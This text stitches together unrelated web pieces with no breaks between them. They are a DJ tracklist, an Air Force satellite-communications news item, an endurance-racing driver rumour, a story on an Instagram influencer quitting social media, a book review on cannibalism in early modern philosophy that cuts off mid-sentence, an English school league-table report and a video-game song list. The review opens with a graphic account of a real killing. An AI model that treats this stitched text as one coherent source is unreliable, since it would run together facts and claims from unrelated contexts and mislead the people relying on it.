w/ Chuckie – Who’s Ready To Jump (Acapella)
w/ Plump DJs – Gobstopper
16. Michael Calfan – Resurrection (Axwell Re-Cut Club Version)
w/ ID – ID
17. Swedish House Mafia & Knife Party – Antidote (Vocal Mix)
18. ID – ID
19. Chris Lake – Sundown
w/ Knife Party – Internet Friends
w/ ID – ID
20. Knife Party – Internet Friends
21. Porter Robinson – Unison (Knife Party Remix)
22. Porter Robinson – 100% In The Bitch
23. Feed Me – Pink Lady
24. Afrojack – Polkadots 2010 (Oliver Twizt Remix)
25. Kaskade feat. Rebecca & Fiona – Turn It Down
w/ Zedd – Shave It (Kaskade Remix)
26. Spencer & Hill feat. Lil Jon – Less Go (Porter Robinson Remix)
27. Calvin Harris – Feel So Close (Instrumental)
28. Daft Punk – Harder Better Faster Stronger (Acappella)
w/ Adam K & Duro The Third – Daun’t Kick My Bag Bitch
w/ Uppermost – Mainstreaminization
29. Dubsidia – Kill Humans (Dirtyloud Remix)
w/ Tom Hangs feat. Shermanology – Blessed (Avicii Edit)
30. Deadmau5 feat. Rob Swire – Moar Ghosts N Stuff (Hard Intro Version Mix)
w/ Deadmau5 – Some Chords
w/ Noisia – Machine Gun
31. Porter Robinson – ID
32. Porter Robinson – Say My Name
Porter Robinson – “Essential Mix”
Audio clip: Adobe Flash Player (version 9 or above) is required to play this audio clip. Download the latest version here. You also need to have JavaScript enabled in your browser.ARLINGTON, Va. – The Air Force is putting out a request for information within the coming weeks on satellite communications capabilities in the commercial sector, the service announced March 23.
The Air Force is currently working on an “analysis of alternatives” to study how it will meet the military’s evolving satellite communications needs in coming years. The RFI is the only one currently planned for the length of the so-called Wideband AoA, though the Defense Department will hold quarterly roundtable meetings with industry leadership, said Air Force Col. George Nagy, a co-leader of the AoA and part of the office of principal DoD space adviser.
“We know that the pace of commercial satcom development has been very rapid in the last several years,” Nagy said during a media roundtable at the Pentagon here. “The purpose of the RFI really is to make sure we capture, particularly from a technology standpoint, those potential enabling technologies that should be considered in whatever vein for the wideband enterprise.”
The Air Force Space and Missile Systems Center at Los Angeles Air Force Base, California will publish the official RFI, Nagy said.
The most recent military communications satellite, Wideband Global Satcom 9, launched March 17. The launch of WGS-10 is planned for 2019. The AoA – currently funded for $7.8 million — is studying what comes next. It officially started in December, and is expected to run 12 to 18 months, Nagy said.
Norman Yarbrough, at the Office of the Under Secretary of Defense for Acquisition, Technology, and Logistics, said that all options are currently on the table, “whether industry would completely own the process and we would just accept the terminals and incorporate them into our weapons systems, to something like the other end of the spectrum, like we have WGS today where we basically own everything.”
“We’re looking at every model conceivable in between,” said Yarbrough, co-leader of the analysis. “The good news from an AoA perspective, from an industry, from a warfighter perspective, is the AoA’s too early to have ruled out anything
The RFI will also consider “contractual mechanisms that might be unique to a particular company or organization that might give us a more high value to meet our warfighter demands,” he said.
Air Force officials will also evaluate the information private companies submit based on survivability and resiliency of space systems, and how well they could integrate with ground- and air-based communications, Yarbrough said.
The AoA is an opportunity for the Air Force to evaluate its communication systems outside of the high demand that nearly 15 years of continuous war have placed on sitcom, Nagy said.
“Commercial satcom is an important part of what DoD does on the wideband enterprise today,” he said. “Much of that was driven by circumstance after 9/11 where it drove us to do things that might not have been planned prior to that. Now we’re at an inflection point, a place where we can go ahead and more deliberately look at the functional capabilities that the wideband enterprise requires, what the appropriate mix of capabilities is to include commercial and international partners.”Swiss-flagged FIA WEC team Rebellion Racing is in the process of gathering a high quality driver line-up for its 2018/19 FIA WEC programme according to top French magazine Auto Hebdo.
Auto Hebdo lists six drivers. Team regulars Bruno Senna and Mathias Beche together with potential team returnee and 2016 FIA WEC Drivers Champion Neel Jani are being heavily linked to the team’s ‘Super Season’ programme in addition to the team’s Petit Le Mans star and 2016 LMP2 Drivers Champion Gustavo Menezes.
Outside of the team’s past and present driver roster, Porsche LMP1 driver, multiple Le Mans winner and ex-WEC World Champion Andre Lotterer and Jackie Chan DC Racing Le Mans LMP2 winner Thomas Laurent are also in line. Tellingly all six men are either Gold or Platinum rated, the seemingly well-sourced story is pointing firmly to confirmation of an LMP1 programme.
DSC sources in the driver market point to only some of the named drivers already being formally on board, Bruno Senna and Neel Jani seemingly already contracted to the team for 2018/19.
Confirmation of the team’s plans is most likely to come on Wednesday with the team’s end of year party and sponsor event in Switzerland but the cat may already be out of the bag after the Auto Hebdo story was retweeted by a senior member of Rebellion management – that retweet now hidden or removed!
If the expected announcement of a two car LMP1 effort comes to pass it will see the current number of declared 2018/19 LMP1 entrants rise to nine after confirmation of Toyota Gazoo Racing (x2), SMP Racing (x 2), TRS Racing Manor, DragonSpeed and ByKolles.From fashion bloggers to fitness experts to simply photogenic everyday citizens, the "Instagram celebrity" has emerged as a new branch of fame in our social media-run world. Essena O'Neill, an 18-year-old from Australia, was a regular teen who amassed half a million followers on Instagram (on top of 200,000 followers on YouTube and Tumblr and 60,000 on her Snapchat, all now inactive) with selfies, outfit posts, and #fitspo photos. After building that up, she decided last week that she was done with social media. She deleted 2000 photos, renamed her account to "Social Media Is Not Real Life," and changed the captions on existing photos with truthful anecdotes about posts she was paid for, how many tries it took to get the shot, and the pressures she felt to look perfect.
"I've spent the majority of my teenage life being addicted to social media, social approval, social status, and my physical appearance, " O'Neill writes in her last Instagram post on October 27, "[Social media] is contrived images and edited clips ranked against each other. It's a system based on social approval, likes, validation, in views, success in followers. it's perfectly orchestrated self-absorbed judgement."
"How can we see ourselves and our true purpose/talents if we are constantly viewing others?" she says, "Many of us are in so deep we don't realize [social media's] delusional powers and the impact it has on our lives." In addition to making changes on her Instagram, O'Neill made a video on YouTube about how people make money off social media. She's since moved on from YouTube to Vimeo, where she'll now be uploading daily videos, because of its "positive and value based ranking, not likes or followers or BS ads." O'Neill adds on her newly launched site Let's Be Game Changers, "BUT PLEASE CAN SOMEONE MAKE A SOCIAL SHARING PLATFORM NOT BASED ON VALIDATION IN VIEWS/FOLLOWERS/LIKES BUT SHARED FOR REAL VALUE AND LOVE. THANK YOU. PLEASE HURRY UP."
O'Neill's enlightenment is captivating and thought-provoking. While the millions of dollars earned by social media stars is not news (surely you've seen those #spon and #ad posts on your feed), this teen is not only being transparent about her responsibility in perpetuating the image-crafting obsession, but turning a mirror to her followers, too. "I can't tell you how free I feel without social media. Never again will I let a number define me. IT SUFFOCATED ME," she writes, "I know you didn't come into this world just wanting to fit in and get by. You are reading this now because you are a game changer, you might not know your power yet I am just finding mine, but man...when you do...far out you'll go crazy. It'll be brilliant. You'll be brilliant."
Update, 11/3: Instagram fitness star Kayla Itsines shared a response about this social media movement to her nearly 4 million followers. She echoes O'Neill's sentiments, writing, "On my account, I'll tell you now, you don't see a lot of things. Not because I don't want to show you, because I cannot physically take a photo of them," she says, "Things like...the 5am wake ups, the late nights, the constant bullying, the lack of support and understanding of friends, the stress...and so much more." Read her full statement below.In July 2008, while traveling on a Greyhound bus between Edmonton and Winnipeg, Vincent Li beheaded his sleeping seatmate, a man he had never met, with a butcher knife. Li held up the head in crazed triumph as the bus screeched to a halt and the other passengers rushed out. He then began to pace back and forth along the aisle, witnesses report, tearing off the ears, gouging out the eyes, pulling out the tongue, and eating them.
This event, as well as Li’s recently concluded trial—not guilty by reason of insanity—might serve as an opportunity to take measure of the present state of cannibalism studies, mostly a minor academic industry, though one not without its star performances and its polarizing debates. For a long time, the field was dominated by a curious variety of négationnisme, most famously spelled out by William Arens in his 1980 book The Man-Eating Myth: Anthropology and Anthropophagy. According to Arens, cannibalism is nothing more than a projection of fear-induced fantasies upon unknown others, and in the past 500 years this projection has served as part of the ideological soundtrack to the European conquest of the rest of the world. As the incident on the Greyhound reminds us, however, sometimes people really do eat people.
The title of the original Romanian version of Cătălin Avramescu’s giddy book, Filozoful crud, translates as both “the cruel philosopher” and “the raw philosopher.” “Crude” in the sense of “uncooked” (think of “crudités”) and “cruel” share the same etymology, and in at least one Romance language—the easternmost and most obscure, yet in some sense also the purest, because the closest to Latin—these two meanings remain packed into one and the same word. In what sense, now, could a philosopher be both “cruel” and “raw”? Does Avramescu want to say that philosophers have somehow been both the perpetrators and the victims of anthropophagy?
When Columbus encountered the Arawak tribe of Hispaniola, they reported to him on the vicious, man-eating Caribs of the neighboring islands, whose name would later become our “cannibal.” Did the Caribs in fact eat the Arawaks? Is it naïve to wish to know? Part of what an intellectual history involves, Avramescu thinks, is a disregard for the question as to who, precisely, was eating whom, and when. His book is “in no way a history of cannibalistic practices.” Of course, he adds, “the instances of verifiable anthropology have sometimes left their traces in the ideal productions of the philosophers. However, whether cannibals existed or not is in fact of marginal importance.” Avramescu’s cannibal “is in the first place a scholarly creature, a personage who animates theoretical texts, and only to a lesser extent, if at all, is he a subject for the anthropology of the aberrant.”
Avramescu wants to know why the history of thinking-with-cannibals is coextensive, more or less, with early modern history, the period from the age of discovery to the age of enlightenment. Why did the historical life of the cannibal seem to come into existence at a certain moment, and die out at another? The question of origins is easier to answer: it was the encounter between Columbus and the Arawak and others like it that exploded in frequency towards the end of the 15th century. The reasons for this history’s end present a larger intellectual challenge, but Avramescu believes he knows why, by sometime in the early 19th century, the cannibal is no longer capable of “constituting any starting point for the articulation of a moral philosophy.”
I have mentioned that Avramescu hints cryptically in his original title that philosophers are somehow implicated, as actors rather than just as thinkers, in the history of cannibalism. This hint is repeated early on (page 2), in a delightful ad hominem directed at academic philosophers: “Having ended up as functionaries who know very well where their next meal is coming from, the philosophers of our times teach us one or another version of utilitarianism, moral relativism, or juridical positivism.” Avramescu follows up this mild rebuke with an admittedly endearing compliment—for himself, that is. “Sensitive to the pleasures of the no longer topical,” he tells us, “I have elected to present the reader with a study about a period of the past during which the eater of human flesh made his atrocious hegemony felt with the bounds of the science of natural law.”
What could this mean? Throughout the rest of the book, Avramescu charts what he sees as Western civilization’s broad shift from natural-law theory to juridical positivism through the lens of ideas about cannibalism. His thesis is that the cannibal ceases to play an important conceptual role in thinking about human nature, morality, and social order at precisely the moment that natural law begins to decline in importance and positivism moves in to replace it.
Natural-law theory, defended by Thomas Aquinas, Hugo Grotius, Samuel von Pufendorf, John Locke, and others, holds that nature itself dictates human law, its dictation is everywhere the same, and the good legal system is the one that takes this dictation faithfully. (Today, we may note by way of illustration, the few remaining defenders of natural law are generally opposed to gay marriage, on the grounds that, before the laws prohibiting it were written down in books, they were already written into human anatomy.) Legal positivism, in contrast, is the view roughly speaking that law is not or should not be based in morality. This latter view is at least closely allied, if not overlapping with utilitarianism and relativism, and all three seem to involve a recognition of the impossibility of valid universal claims about how society in general should be organized.
Curiously, however, the eclipse of natural law by positivism leads to a universalism of another sort, as cultural differences that could once be assessed through the judgmental lens of civilization vs. savagery are now assessed as “each valid in its own way,” and accordingly the only thing to bemoan about the natives is not that they are morally backward but only that, poor things, they are living in squalor. Avramescu explains: “the anthropophagus disappears in favor of the impoverished wretch, a figure who is discovered in all types of society and may thus become the subject of a universal science of inequality and want. In order for this to occur, the question of aberrant diet will appear as a social problem and not as a key to decipher human nature.”
With enough irony mixed in to make its nostalgia bearable, even admirable, Avramescu’s book weighs heavy with longing for a return to the age of cannibals. In this at least its author resembles Tobias Schneebaum, the “retired gay anthropologist” (in the words of an oft-cited blurb) and subject of the 2000 film Keep the River on Your Right: A Modern Cannibal Tale. In the film, an elderly Schneebaum makes a trip back to the Amazon to track down the surviving members of the tribe with which he had lived several decades earlier, and with whom he had, so he claimed, eaten human flesh. When he finally finds his old friends and shows them photographs of their younger selves taken during his previous stay with them, one of them proclaims (to paraphrase): “Oh yes, that was back before we wore clothes.” The anthropophagy and the nakedness went out together, in other words. What covered up their nakedness was not, of course, just any kind of clothes, but defective sweatpants that never made it from the sweatshops to the first world, t-shirts celebrating Selena, My Little Pony, the team that lost the 1994 Superbowl.
This simultaneity, the retreat of cannibalism and the advent of clothing, might lead one to believe that it was Euro-American global hegemony rather than juridical positivism that put a stop to our preoccupation with man-eating savages. Avramescu believes that the idea of cannibalism ceased to have much significance for moral discourse when we lost the absolute moral order that enabled us to distinguish between true civility and true barbarity. What this order was replaced with was one in which all human beings participate in the same progressive historical narrative, and the most fearsome others left are the filthy mendicants and the drunken Indians.
Here, interestingly, is where conservative critique starts to look a good deal like postcolonialism with a twist. For the gradual decline of talk of cannibals also appears to occur simultaneously with the Western powers’ gradual gain of control over the dark zones of the globe that once fed their wild fantasies. The decline of the cannibal as a meaningful figure might not, or not only, signal the decline of the old moral universe; it might signal that the natives are no longer restless, and they are no longer restless because they are now subdued by the overwhelming force of the colonial powers, by urbanization, ghettoization, alcohol, and corn syrup. One sign of their subdued state is the dirty pink sweatpants they are wearing; another is the traveler’s confidence that he will not be eaten.
The moment of the decline of natural law, and of the rise of Western global hegemony, seems also to be roughly the moment we started saying, of every new moral atrocity announced in the news, “Why, in this day and age? Who would have thought it possible?!” There is of course absolutely no evidence that moral atrocities are less frequent in our age than in ages past. What is distinctive about our age is the sense that they belong to ages past, and that when they happen today they are like some prehistoric coelacanth popping up in an industrial fishing net.
The problem during the early modern period is that indigenous European cannibalism presents a sort of conceptual impossibility, not because no European would do such a thing, but because, if it is a European doing it, it is ipso facto not cannibalism. By “European,” of course, one should not understand any ethnos that happens to find itself west of the Urals. Tales of vampirism generally involve mysterious Balkan folk, “others” of a different sort than the savages of the West Indies, yet others who in many ways provide a Medieval template for the conceptualization of the new kinds of others introduced in the age of discovery.
It is the mundane medical cases, conceptualized by the actors as something quite different from the barbarity of distant islands or the dark secrets of Transylvanian fortresses, that are often most alarming. In Protestant areas of Germany, Avramescu reports, “the blood of those beheaded on the scaffold was sold, and sometimes drunk at the scene by epileptics and other unfortunates.” This custom was attested in Marburg as late as 1865. One might indeed ask whether exoticist travel literature ever really told Europeans anything new about the range of human behavior, or whether what in fact differs from culture to culture are only the descriptions with which the underlying, and basically unchanging, things that human beings do are ornamented. Here then we might see a way to save natural law from the cannibal problem: we all already are cannibals, and this is perfectly natural.
We may not all drink the blood of the condemned, yet as Robert Boyle observes in a vivid passage cited by Avramescu, we should not “count [the cannibals] so barbarous merely upon the score of feeding on man’s flesh and bloud,” since “a woman’s milk, by which we feed our sucking Children, is, according to the received Opinion, but blanched Bloud.” Boyle goes on to tell of men who, in order “to prevent the Scurvy and the Gout, drink their own or Boy’s Urine,” and he relates that “under the name of ‘album graecum'” dog feces are “commonly given to Patients of all sorts and qualities against sore Throats,” while in Holland it is usual “to mingle Sheep’s dung with their cheeses, only to give them a colour and a relish.” Boyle just can’t let it drop: “We devour Oysters whole,” he moans, “guts, excrements, and all; nay, when not for Physick, but only for Delicacies, and our Courtiers and Ladies are themselves wont to make sawce for the bodies of Lobsters of that green stuff, which is indeed their Dung.” Disgusting, certainly, but isn’t anthropophagy a problem of an altogether different order? Or might it be that Avramescu is onto something in picking up Boyle’s treatment of kreophagy and anthropophagy, of carnivorism and cannibalism, as variations upon the same basic problem?
Consider this curious feature of the way we eat animals: unless you are a preening showman like Anthony Bourdain, you are always already a vegetarian of sorts relative to the vast majority of meats. You can’t eat dog or rat or parakeet, even though these are perfectly reliable sources of calories. Arguments about the relative toughness or stringiness of their flesh do not get to the heart of the matter. You can’t eat them because to do so would be to break the rules of the game. There are no such rules for the consumption of vegetable matter: whatever nourishes will do.
This distinction reveals something significant about meat eating: it is what you might call a charged domain of human activity, like sex and violence, and it is so no matter what kind of moral arguments you might offer up for or against culling deer herds, free range farming, and so on. Meat eating, like sex and violence, is regulated by religions, while for the most part plant-eating is not. Who can have sex with whom, or who can kill whom, or who can eat what meat when, are practically what religion is about. (The stuff about God is a later development, of interest to only a few.)
Why meat-eating should be seen as charged in this way, prior to any moral-philosophical considerations, is worth some reflection. It seems that at least from Porphyry on, the metaphysics and natural philosophy of nutrition required some sort of transformation in order to count as nutrition at all. That is, nutrition must involve at a minimum the transformation of matter that is non-identical with the matter of my corporeal substance into identical matter. Each creature then has a suitable range of non-identical food sources that it is able to convert into its own substance, but nature herself limits the range of possible conversions. Cannibalism would involve no conversion at all, and thus beyond its moral repulsiveness it is also naturally inefficacious as a source of nutrition. Thus the 2nd-century Chrisian apologist Athenagoras of Athens maintains that anthropopophagi, no matter how many human beings they eat, will gain no weight. “On the contrary, as soon as such meat, for which there is such a great antipathy, enters the space of the stomach, nature revolts and immediately eliminates it.” “Nausea,” Avramescu comments, “thus has an eschatological virtue.”
Human flesh is identical in kind to the flesh of the cannibal, but must remain perpetually other in number. In one way or another, food must be sufficiently different from its consumer in order to be a suitable candidate for sameness. (The same logic holds for rules prohibiting incest, a parallel to which we will return shortly.) On this scheme, it might seem that vegetarianism is inherently superior to carnivorism, since it involves the incorporation—note the etymology of this last word—of matter that is, at least in the organic world, as other as things get. Certainly, many early modern philosophers believed, as had Pythagoras, Plato, and a number of other ancient philosophers, that meat should be avoided, and that slaughtering animals is, if not “inhumane” at least obscene. The Enlightenment was not so restrained. As Avramescu notes, some eighteenth century philosophers argued that “a meatless diet was unhealthy, a ‘mortification’ proposed by their adversaries, the religious fanatics.”
Along this line of reasoning, we might imagine an Enlightenment thinker proposing in the dietary realm what Sade had in the sexual, that, namely, tout est permis. And just as Sade approved not just wanton sodomy but also incest, breaking down the very last stronghold of an already greatly weakened natural law, so we might imagine an Enlightenment argument in favor of eating our fellow men, on the grounds that nature prescribes no diet, and it is nothing but pointless mortification to subdue our appetites.
That these two appetites, for the flesh of humans and for the flesh of family, are linked in the Western imagination, is clear from as early as the first detailed report on cannibalism in the new world, Hans Staden’s 16th-century report on the Tupinamba people of Brazil. “No one has anything,” Staden writes, “but all things are held in common. And the men have as wives those who please them, be they mothers, sisters, or friends, therein make they no distinction … They also eat each other even those who are slain, and hang the flesh of them in the smoke.”
Most of us today, even those of us most keen on breaking down taboos, do not spend much of our time sodomizing our siblings or eating our deceased grandmothers. Could it be that natural law is not as thoroughly dead as Avramescu has made it out to be? Very speculatively, one might suggest that cannibalism and incest function somewhat like negative regulative ideas in the Kantian sense. They are unthinkable, yet the unthinkable thought of doing them anyway, of doing those deeds we can’t really picture even as we spend our lives in fear of picturing them, seems to give shape and meaning to all those things we can do. Meat would not make a feast if the |
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For high resolution images and video of the all-new Kindle family, visit www.amazon.com/pr/kindle.Image caption This year's tables feature far more data than in previous years
Just one in 15 (6.5%) pupils starting secondary school in England "behind" for their age goes on to get five good GCSEs including English and maths, official data shows.
The government data published as part of secondary school league tables suggests the majority of schools are failing struggling pupils.
Nationally 58.2% of pupils reach the five good GCSEs benchmark.
Minister Nick Gibb said schools which let pupils down would be tackled.
The Department for Education data covers England's more than 5,000 secondary schools with more than 200 pieces of information being published for each one - almost four times as much as last year.
Much of the information is broken down by pupil type, with scores offered for low, medium and high-attaining pupils, and those from disadvantaged backgrounds as well as non-disadvantaged.
As expected, those from disadvantaged backgrounds (classed as those on free school meals or in local authority care) do less well.
England league tables Compare schools in your area Select a local authority Barking and Dagenham Barnet Barnsley Bath and North East Somerset Bedford Bexley Birmingham Blackburn with Darwen Blackpool Bolton Bournemouth Bracknell Forest Bradford Brent Brighton and Hove Bristol, City of Bromley Buckinghamshire Bury Calderdale Cambridgeshire Camden Central Bedfordshire Cheshire East Cheshire West and Chester City of London Cornwall Coventry Croydon Cumbria Darlington Derby Derbyshire Devon Doncaster Dorset Dudley Durham Ealing East Riding of Yorkshire East Sussex Enfield Essex Gateshead Gloucestershire Greenwich Hackney Halton Hammersmith and Fulham Hampshire Haringey Harrow Hartlepool Havering Herefordshire Hertfordshire Hillingdon Hounslow Isle of Wight Isles of Scilly Islington Kensington and Chelsea Kent Kingston upon Hull, City of Kingston upon Thames Kirklees Knowsley Lambeth Lancashire Leeds Leicester Leicestershire Lewisham Lincolnshire Liverpool Luton Manchester Medway Merton Middlesbrough Milton Keynes Newcastle upon Tyne Newham Norfolk North East Lincolnshire North Lincolnshire North Somerset North Tyneside North Yorkshire Northamptonshire Northumberland Nottingham Nottinghamshire Oldham Oxfordshire Peterborough Plymouth Poole Portsmouth Reading Redbridge Redcar and Cleveland Richmond upon Thames Rochdale Rotherham Rutland Salford Sandwell Sefton Sheffield Shropshire Slough Solihull Somerset South Gloucestershire South Tyneside Southampton Southend-on-Sea Southwark St. Helens Staffordshire Stockport Stockton-on-Tees Stoke-on-Trent Suffolk Sunderland Surrey Sutton Swindon Tameside Telford and Wrekin Thurrock Torbay Tower Hamlets Trafford Wakefield Walsall Waltham Forest Wandsworth Warrington Warwickshire West Berkshire West Sussex Westminster Wigan Wiltshire Windsor and Maidenhead Wirral Wokingham Wolverhampton Worcestershire York Go Continue reading the main story England league tables Compare schools in your area Select a local authority Barking and Dagenham Barnet Barnsley Bath and North East Somerset Bedford Bexley Birmingham Blackburn with Darwen Blackpool Bolton Bournemouth Bracknell Forest Bradford Brent Brighton and Hove Bristol, City of Bromley Buckinghamshire Bury Calderdale Cambridgeshire Camden Central Bedfordshire Cheshire East Cheshire West and Chester City of London Cornwall Coventry Croydon Cumbria Darlington Derby Derbyshire Devon Doncaster Dorset Dudley Durham Ealing East Riding of Yorkshire East Sussex Enfield Essex Gateshead Gloucestershire Greenwich Hackney Halton Hammersmith and Fulham Hampshire Haringey Harrow Hartlepool Havering Herefordshire Hertfordshire Hillingdon Hounslow Isle of Wight Isles of Scilly Islington Kensington and Chelsea Kent Kingston upon Hull, City of Kingston upon Thames Kirklees Knowsley Lambeth Lancashire Leeds Leicester Leicestershire Lewisham Lincolnshire Liverpool Luton Manchester Medway Merton Middlesbrough Milton Keynes Newcastle upon Tyne Newham Norfolk North East Lincolnshire North Lincolnshire North Somerset North Tyneside North Yorkshire Northamptonshire Northumberland Nottingham Nottinghamshire Oldham Oxfordshire Peterborough Plymouth Poole Portsmouth Reading Redbridge Redcar and Cleveland Richmond upon Thames Rochdale Rotherham Rutland Salford Sandwell Sefton Sheffield Shropshire Slough Solihull Somerset South Gloucestershire South Tyneside Southampton Southend-on-Sea Southwark St. Helens Staffordshire Stockport Stockton-on-Tees Stoke-on-Trent Suffolk Sunderland Surrey Sutton Swindon Tameside Telford and Wrekin Thurrock Torbay Tower Hamlets Trafford Wakefield Walsall Waltham Forest Wandsworth Warrington Warwickshire West Berkshire West Sussex Westminster Wigan Wiltshire Windsor and Maidenhead Wirral Wokingham Wolverhampton Worcestershire York Go
Only a third (34%) of these children achieve the government's benchmark of five GCSEs - or equivalent qualifications - graded A* to C, including English and maths.
In 909 schools, not one low-attaining pupil (those who did not reach Level 4 at the end of primary school) reached this threshold.
At the other end of the spectrum, 95% of pupils who started school "ahead" for their age (achieving Level 5 at the end of primary school) got five good GCSEs, including English and maths.
And of those who started school at the expected level for their age, (Level 4 at the end of primary school) some 45.6% failed to progress to five good GCSEs.
Overall, 58.2% of pupils in England's state schools got five good GCSEs including English and maths (including equivalent qualifications).
'One chance'
When these qualifications, such as BTecs and NVQs, are excluded, 52.4% of pupils gained five good GCSEs.
The performance data also shows what proportion of pupils get the English Baccalaureate.
This new measure, introduced in 2010, is the proportion of pupils achieving A*-C passes in English, maths, two science subjects, a modern or ancient language, and either history or geography.
Nationally across all pupils, just 15.4% got the wrap-around qualification, but most pupils would have made their GCSE choices before Education Secretary Michael Gove announced he was introducing this certificate of achievement.
Pupils with low prior attainment also performed poorly in the English Bacc, with just 0.3% gaining the wrap-around qualification.
Sevenoaks School, a private school in Kent, tops the English Bacc tables, with 99% of pupils meeting this benchmark.
Media playback is unsupported on your device Media caption Brian Lightman: "Government needs to spend less time blaming schools"
Schools Minister Nick Gibb said: "Today's figures reveal a shocking waste of talent in many schools across the country. All too often, pupils from disadvantaged backgrounds aren't given the same opportunities as their peers.
"But there are great examples of schools achieving the best for their disadvantaged pupils. If they can get it right, then so can all schools."
The government says its data shows there are 107 secondary schools below the floor standard of 35% of pupils getting five good GCSEs, including English and maths.
Top performers
Mr Gibb added: "Children only have one chance at education. These tables show which schools are letting children down. We will not hesitate to tackle underperformance in any school, including academies.
"Heads should be striving to make improvements year on year, and we will not let schools coast with mediocre performance."
Shadow education secretary Stephen Twigg said that while many pupils, especially those from disadvantaged backgrounds are not achieving their potential, the government is promoting pet projects over real need.
"The government needs to focus on the 3Rs as well," he added.
HEADLINE SCORES National average for five good GCSEs: 58.2% of pupils
National average for English Baccalaureate: 15.4%
Best GCSE performance: Lawrence Sheriff Grammar School, Rugby
Worst GCSE performance: St Aldhelm's Academy, Poole
Best A-level performance: Colchester Royal Grammar School, Essex
Best performing local authority: Sutton, London
Worst performing local authority: Knowsley, Merseyside
NUT general secretary Christine Blower said the social inequalities with which children start school, widen as they progress through their education.
"Instead of focusing on changing school structures and on the pointless naming and shaming of schools, the Government should be ensuring that all schools have the resources and support they need for all pupils to reach their full potential."
In total, 158 schools see 100% of pupils getting five GCSEs A*-C or equivalent, including maths and English.
When the average point score per pupil is used to rank these top performers schools, Lawrence Sheriff Grammar School in Rugby comes top.
Head teacher Dr Peter Kent said much of the school's success was down to Key Stage 4 being spread over three years rather than the traditional two.
"This gives departments a chance to deliver a very personalised curriculum and we all respond well to something that's been tailored to our individual needs," he said.
The poorest performing school was St Aldhelm's Academy in Poole, Dorset, where just 3% of pupils got five GCSEs A*-C or equivalent, including maths and English.
Principal Cheryl Heron, who took over in September 2010, said the results were "disappointing but not unexpected". It would take time to change and transform pupils' learning experiences, she added.
'Focus'
At sixth form level, the Colchester Royal Grammar School in Essex comes out as the best performer, with an average point score per pupil of over 1,477 - this is the equivalent of over four A*s and one A grade at A-level.
The best performing county was Sutton in London, where 74.7% of pupils got the government benchmark of five GCSEs, including maths and English. The worst was Knowsley, Merseyside, where 40.8% of pupils reached this level. A Knowsley spokesman said its schools were improving year after year.PBR songs 10/6/16 a guest Jul 10th, 2016 708 Never a guest708Never
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rawdownloadcloneembedreportprint text 27.03 KB List of all 616 (!) songs added July 10, 2016: ==For battle: Sho's Fever Time from Absolute Despair Girl: Danganronpa Another Episode Astral Blader from Atelier Meruru The Apprentice of Arland Raging Inferno from Azure Striker Gunvolt Battle With Demons from Bravely Default That Person's Name Is from Bravely Default Darkness of Fear from Castlevania: Judgment Bloody Tears from Castlevania: Judgment Vampire Killer from Castlevania: Judgment Burning Halloween Town from Deathsmiles Level 4: Bouncing Boss Battle from Dedede's Drum Dash Deluxe The Fight for My Friends from Digimon Rumble Arena This Power in Me from Digimon Rumble Arena Out in the Country from Digimon Rumble Arena The Biggest Dreamer from Digimon Rumble Arena FF5 - Clash on the Big Bridge from Dissidia: Final Fantasy Dracula Duck from DuckTales Remastered Battle of Hope (Full Sound Version) from Final Fantasy Tactics Advance I'll Give You Something Hot! from Final Fantasy X-2 Boss Battle from Final Fantasy XII Be Ready for It from God Hand Sunset Heroes from God Hand Keep Yourself Alive 2 from Guilty Gear X2 #Reload L’Oscuritá dell’Ignoto from Kingdom Hearts 3D: Dream Drop Distance Forze dell’ Oscurita from Kingdom Hearts Birth by Sleep Final Mix Master, Tell Me The Truth from Kingdom Hearts Birth by Sleep Final Mix The 13th Reflection from Kingdom Hearts HD 2.5 ReMIX No More Bugs!! [Normal] (OST) from Kingdom Hearts Re: coded The Deep End from Kingdom Hearts Guardando nel Buio from Kingdom Hearts Unforgettable from Kingdom Hearts: Birth By Sleep Unbreakable Chains from Kingdom Hearts: Birth By Sleep Rage Awakened -The Origin- from Kingdom Hearts: Birth By Sleep Heavy Lobster from Kirby and the Rainbow Curse C-R-O-W-N-E-D from Kirby and the Rainbow Curse Revenge of the Enemy from Kirby and the Rainbow Curse That Stubborn Tree! from Kirby and the Rainbow Curse The Final Battle from Kirby and the Rainbow Curse Vs. King Dedede from Kirbys Epic Yarn Psychedelic Zombie (Phase 3) from Lollipop Chainsaw Adventure's End from Mario & Luigi: Dream Team Gimmick Masters Finals from Mario Power Tennis Tournament - 2nd Match from Mario Power Tennis Ghouls 'N Ghosts from Mega Man 7 Wily Battle Medley from Mega Man IV (Game Boy) In the Wind (ZXA Tunes Ver.) from Mega Man ZX Advent Trap Phantasm (ZXA Tunes Ver.) from Mega Man ZX Advent Battle - Lost Megaclopis from Megabyte Punch Jakob Orbital Elevator from Megaman X8 Takin' on the Shagohod from Metal Gear Solid 3: Snake Eater Fierce Battle from Metal Slug 5 NiGHTS and Reala ~Theme of a Tragedic Revenge~ from NiGHTS into Dreams The Dragon Gave A Loud Scream from NiGHTS into Dreams Ghost Gulping from Paper Mario Lillipa Mining Base Defense (Wave 1&2) from Phantasy Star Online 2 Via Tubus from Phantasy Star Online Episode III: C.A.R.D. Revolution Sashay's Theme from Pokemon Battle Revolution Final Battle from Pokemon Colosseum Dark Matter (Phase 2) from Pokemon Super Mystery Dungeon Dark Colosseum from Pokken Tournament Ferrum Stadium from Pokken Tournament Phos Volcano from Pokken Tournament Regi Ruins from Pokken Tournament The Edge of Green from Radiant Historia Maktar Nebula - The Battle Arena from Ratchet & Clank: Going Commando The Launch Site (Dr. Nefarious Boss) from Ratchet & Clank: Up Your Arsenal Final Battle with Bowser from SMG Black Bull from Shadow The Hedgehog Death Ruins from Shadow The Hedgehog Last Battle from Shin Megami Tensei III: Nocturne Last Boss Battle After Transformation from Shin Megami Tensei III: Nocturne Boss Battle from Shin Megami Tensei: Devil Summoner 2 Normal Battle ~Arranged~ from Shin Megami Tensei: Devil Summoner: Soul Hackers VS Snowman Robot/Dinosaur from Snowboard Kids 2 Special Stage 2 from Sonic Heroes Fighting of the Spirit from Tales of Symphonia Like a Glint of Light from Tales of Symphonia Moldarach-Koloktos Battle from The Legend of Zelda: Skyward Sword Vessel of Stars ~ Casket of Star from Touhou Hisouten: Scarlet Weather Rhapsody Faith is for the Transient People from Touhou Hisoutensoku: Unthinkable Natural Law Terrormisu from Wario Master of Disguise Ganondorf Battle from Zelda Wind Waker Battle! Wild Pokémon from Pokemon Go Pierrot of the Star Spangled Banner from Pokemon Go The Rabbit Has Landed from Pokemon Go Special Stage 2 from Sonic Heroes Battle! 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Stage from Mega Man: The Wily Wars Dr. Wily 